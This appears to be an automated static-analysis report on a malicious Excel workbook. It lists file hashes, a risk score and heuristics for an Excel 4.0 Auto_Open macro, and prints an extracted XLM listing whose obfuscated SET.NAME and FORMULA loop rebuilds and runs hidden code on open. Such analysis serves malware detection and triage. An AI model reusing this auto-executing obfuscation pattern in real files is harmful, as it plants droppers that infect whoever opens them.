Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 48acec301609bf14…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:39:47 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 9e147c591e54dc70394322903070e834 SHA-1: 24423ab4c9f27edc2b6f5118ab208005786e7c4a SHA-256: 48acec301609bf1433b7becaef389a11b7b53ebfeaf75c2facaa208cbdad388f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6434 bytes
SHA-256: 04f052cd0796c6af373b36e6f1e9397ca44328ed0c9e55e2c6be64b7fbbee042
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DgQOu
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C141 
' 0018     25 LABEL : Cell Value, String Constant - BEzmvqTCJF len=0 
' 0018     23 LABEL : Cell Value, String Constant - dUMqpTOA len=0 
' 0018     20 LABEL : Cell Value, String Constant - EqNgU len=0 
' 0018     20 LABEL : Cell Value, String Constant - frAZi len=0 
' 0018     22 LABEL : Cell Value, String Constant - gPuYMOr len=0 
' 0018     24 LABEL : Cell Value, String Constant - HFSEXdRtg len=0 
' 0018     21 LABEL : Cell Value, String Constant - HMRRFJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - MMRFxgr len=0 
' 0018     21 LABEL : Cell Value, String Constant - MUvFTj len=0 
' 0018     21 LABEL : Cell Value, String Constant - PbtNvM len=0 
' 0018     22 LABEL : Cell Value, String Constant - qlKYCme len=0 
' 0018     20 LABEL : Cell Value, String Constant - QscRW len=0 
' 0018     27 LABEL : Cell Value, String Constant - rwdvPPHLmZMW len=0 
' 0018     25 LABEL : Cell Value, String Constant - TTsOIsCiLZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - VtyYqAcam len=0 
' 0018     21 LABEL : Cell Value, String Constant - wTqNgk len=0 
' 0018     22 LABEL : Cell Value, String Constant - xGmNbkw len=0 
' 0018     23 LABEL : Cell Value, String Constant - XvLSPNTK len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZGiLnMFhvdp len=0 
' 0018     21 LABEL : Cell Value, String Constant - zmZwiI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DgQOu,C57,"SET.NAME("qlKYCme",VALUE("0"))",""
'  DgQOu,C60,"SET.NAME("MMRFxgr",qlKYCme)",""
'  DgQOu,C64,"SET.NAME("HFSEXdRtg",qlKYCme)",""
'  DgQOu,C66,"SET.NAME("VtyYqAcam",COUNTA(EqNgU))",""
'  DgQOu,C69,"SET.NAME("QscRW",COUNTA(frAZi))",""
'  DgQOu,C73,[],""
'  DgQOu,C78,"SET.NAME("gPuYMOr","")",""
'  DgQOu,C80,"MMRFxgr",""
'  DgQOu,C83,"SET.NAME("HMRRFJ",HLOOKUP("*",EqNgU,MMRFxgr,FALSE))",""
'  DgQOu,C86,"MUvFTj",""
'  DgQOu,C88,"SET.NAME("dUMqpTOA",qlKYCme)",""
'  DgQOu,C90,[],""
'  DgQOu,C95,"dUMqpTOA",""
'  DgQOu,C99,"PbtNvM",""
'  DgQOu,C104,"wTqNgk",""
'  DgQOu,C107,"xGmNbkw",""
'  DgQOu,C110,"SET.NAME("ZGiLnMFhvdp",VALUE(HLOOKUP("*",frAZi,xGmNbkw,FALSE)))",""
'  DgQOu,C113,"zmZwiI",""
'  DgQOu,C117,"gPuYMOr",""
'  DgQOu,C122,"HFSEXdRtg",""
'  DgQOu,C127,NEXT(),""
'  DgQOu,C130,"BEzmvqTCJF",""
'  DgQOu,C132,"SET.NAME("f",INT(T(FORMULA(T(gPuYMOr)&"",""&T(BEzmvqTCJF)))))",""
'  DgQOu,C135,"rwdvPPHLmZMW",""
'  DgQOu,C137,NEXT(),""
'  DgQOu,C139,RETURN(),""
'  DgQOu,C169,"SET.NAME("TTsOIsCiLZ",C57)",""
'  DgQOu,C171,"EqNgU",""
'  DgQOu,C175,"SET.NAME("frAZi",R94C13)",""
'  DgQOu,C178,"SET.NAME("rwdvPPHLmZMW",186)",""
'  DgQOu,C182,"SET.NAME("XvLSPNTK",3)",""
'  DgQOu,C185,TTsOIsCiLZ(),""
'  DgQOu,C186,HALT(),""

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